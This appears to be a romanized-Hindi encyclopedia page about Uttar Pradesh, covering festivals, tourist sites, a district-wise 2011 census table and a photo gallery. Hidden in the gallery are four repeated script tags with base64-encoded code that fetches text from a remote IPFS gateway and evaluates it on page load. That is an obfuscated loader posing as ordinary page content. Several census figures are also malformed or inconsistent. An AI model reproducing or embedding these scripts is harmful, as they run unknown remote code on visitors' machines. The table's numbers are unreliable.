• barabanki zile ka deva mela muslim sant varis ali shah ke karan kafi prasiddh hai.
• isake atirikt yahaan hindoo tatha muslimoan ke sabhi pramukh tyoharoan ko poore rajy mean harshollas ke sath manaya jata hai.

paryatan sthal

buland daravaza, fatehapur sikari, agara
Buland Darwaja, Fatehpur Sikri, Agra

uttar pradesh mean sabhi ke lie akarshan ki kee chizean haian.

• tajamahal, agara,
• prachin tirth sthanoan mean varanasi, viandhyachal, ayodhya, chitrakoot, prayag, naimisharany, mathura, vrindavan, deva shariph adi hai.
• fatehapur sikari mean shekh salim chishti ki daragah,
• saranath, shravasti, kushinagar, sankisa / basantapur (zila eta, uttar pradesh), kaanpil/ vartaman farrookhabad, piparava aur kaushaanbi pramukh haian.
• agara, ayodhya, saranath, varanasi, lakhanoo, jhaansi, gorakhapur, jaunapur, kannauj, mahoba , devagadh, bithoor aur viandhyachal hindoo evan muslim vastushilp aur sanskriti ke mahattvapoorn khajane se bhara haian.
• uttar pradesh ke goanda zile mean matsyeandranath (patan) namak prasiddh devipith hai.

aank de

janaganana 2011 ka uttar pradesh mean zilavar purush, mahila sankhya ka aank da

zila	kul abadi	purush	mahila
saharanapur	34,64,228	18,35,740	16,28,488
mujaffaranagar	41,38,605	21,94,540	19,44,065
bijanaur	36,83,896	19,25,787	17,58,109
muradabad	47,73,138	25,08,299	22,864,839
ramapur	23,35,398	12,26,175	11,09,223
jyotibaphulenagar	18,38,771	09,64,319	08,74,452
merath	34,47,405	18,29,192	16,18,223
bagapat	13,02,156	07,00,724	06,01,432
gajiyabad	46,61,452	24,81,803	21,69,649
gautamabuddhanagar	16,74,714	09,04,505	07,70,209
bulandashahar	34,98,507	18,48,643	16,49,864
aligadh	36,73,849	19,58,536	17,15,313
mahamayanagar	15,65,678	08,37,746	07,28,232
mathura	25,41,894	13,68,445	11,73,449
agara	43,80,793	23,56,104	20,24,689
firozabad	24,96,761	13,37,141	11,59,620
mainapuri	18,47,194	09,84,892	08,62,302
badayooan	37,12,738	19,97,242	17,15,496
bareli	44,65,344	23,71,454	20,93,890
pilibhit	20,37,225	10,78,525	09,58,700
shahajahaanpur	30,02,376	16,10,182	13,92,194
khiri	40,13,634	21,26,782	18,86,852
sitapur	44,74,446	23,80,666	20,93,780
haradoee	40,91,380	22,04,264	18,87,116
unnav	31,10,595	16,36,295	14,74,300
lakhanoo	45,88,455	24,07,897	21,80,558
rayabareli	34,04,004	17,53,344	16,50,660
pharukhabad	18,87,577	10,07,479	08,80,098
kannauj	16,58,005	08,82,546	07,75,459
itava	15,79,160	08,45,893	07,75,459
oraiya	13,72,287	07,36,144	06,36,143
kanapur dehat	17,95,092	09,64,284	08,30,808
kanapur nagar	45,72,951	24,69,114	21,03,837
jalaun	16,70,718	08,95,804	07,74,914
jhaansi	20,00,755	10,61,310	09,39,445
lalitapur	12,18,002	06,39,392	05,78,610
hamirapur	11,04,021	05,93,576	05,10,445
mahoba	08,76,055	04,65,437	04,10,118
baanda	17,99,541	09,66,123	08,33,418
chitrakoot	09,90,626	05,27,101	04,63,525
phatehapur	26,32,684	13,85,556	12,47,128
pratapagadh	31,73,752	15,91,480	15,82,272
kaushaanbi	51,96,909	08,38,095	07,58,814
ilahabad	59,59,798	31,33,479	28,26,319
barabanki	32,57,983	17,07,951	15,50,032
phaijabad	24,68,371	12,58,455	12,09,916
ambedakaranagar	23,98,909	12,14,225	11,84,484
sultanapur	37,90,922	190,16,297	18,74,625
baharaich	34,78,257	18,38,988	16,39,269
shravasti	11,14,615	05,94,318	05,20,297
balaramapur	21,49,066	11,17,984	10,31,082
gonda	34,31,386	17,85,629	16,45,757
siddharthanagar	25,53,526	12,96,046	12,57,480
basti	24,61,056	12,56,158	12,04,898
santakabiranagar	17,14,300	08,70,547	08,43,753
maharajaganj	26,65,292	13,75,367	12,89,925
gorakhapur	44,36,275	22,81,763	21,54,512
kushinagar	35,60,830	18,21,242	17,39,588
devariya	30,98,637	15,39,608	15,59,029
ajamagadh	46,16,509	22,89,336	23,27,173
moo	22,05,170	11,14,888	10,90,282
baliya	32,23,642	16,67,557	15,56,085
jaunapur	44,76,072	22,17,635	22,58,437
gajipur	36,22,727	18,56,584	17,66,143
chandauli	19,52,713	10,20,789	09,31,924
varanasi	36,82194	19,28,641	17,53,553
sant ravidas nagar	15,54,203	07,97,164	07,57,039
mirzapur	24,94,533	13,12,822	11,81,711
sonabhadr	18,62,612	09,73,480	08,89,132
eta	17,61,152	09,45,157	08,15,995
kaanshiramanagar	14,38,156	07,65,529	06,72,627

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panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

vithika

[[chitr:Fatehpur-Sikri-Agra-2.jpg|x200px|alt=fatehapur sikari|shekh salim chishti ki daragah (fatehapur sikari) ka vihangam drishy
Panoramic View Of Shekh Salim Chishti Shrine (Fatehpur Sikri)]]

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>shekh salim chishti ki daragah (fatehapur sikari) ka vihangam drishy
Panoramic View Of Shekh Salim Chishti Shrine (Fatehpur Sikri)

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

• chitr:Imambara-Lucknow.JPG

  b da imamaba da, lakhanoo

• chitr:Anandha-Bhawan-Allahabad.jpg

  anand bhavan, ilahabad

• chitr:Nirvana-Temple-Kushinagar.jpg

  nirvan mandir, kushinagar

• chitr:Vishram-Ghat-13.jpg

  yamuna snan, vishram ghat, mathura

• chitr:Sarnath-Stupa.jpg

  saranath stoop

• chitr:Red-Fort-Agra.jpg

  lal qila, agara

• chitr:Govind-dev-temple-6.jpg

  govind dev mandir, vrindavan

• chitr:Rumi-Darwaza-Lucknow.jpg

  roomi daravaza, lakhanoo

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sanbandhit lekh

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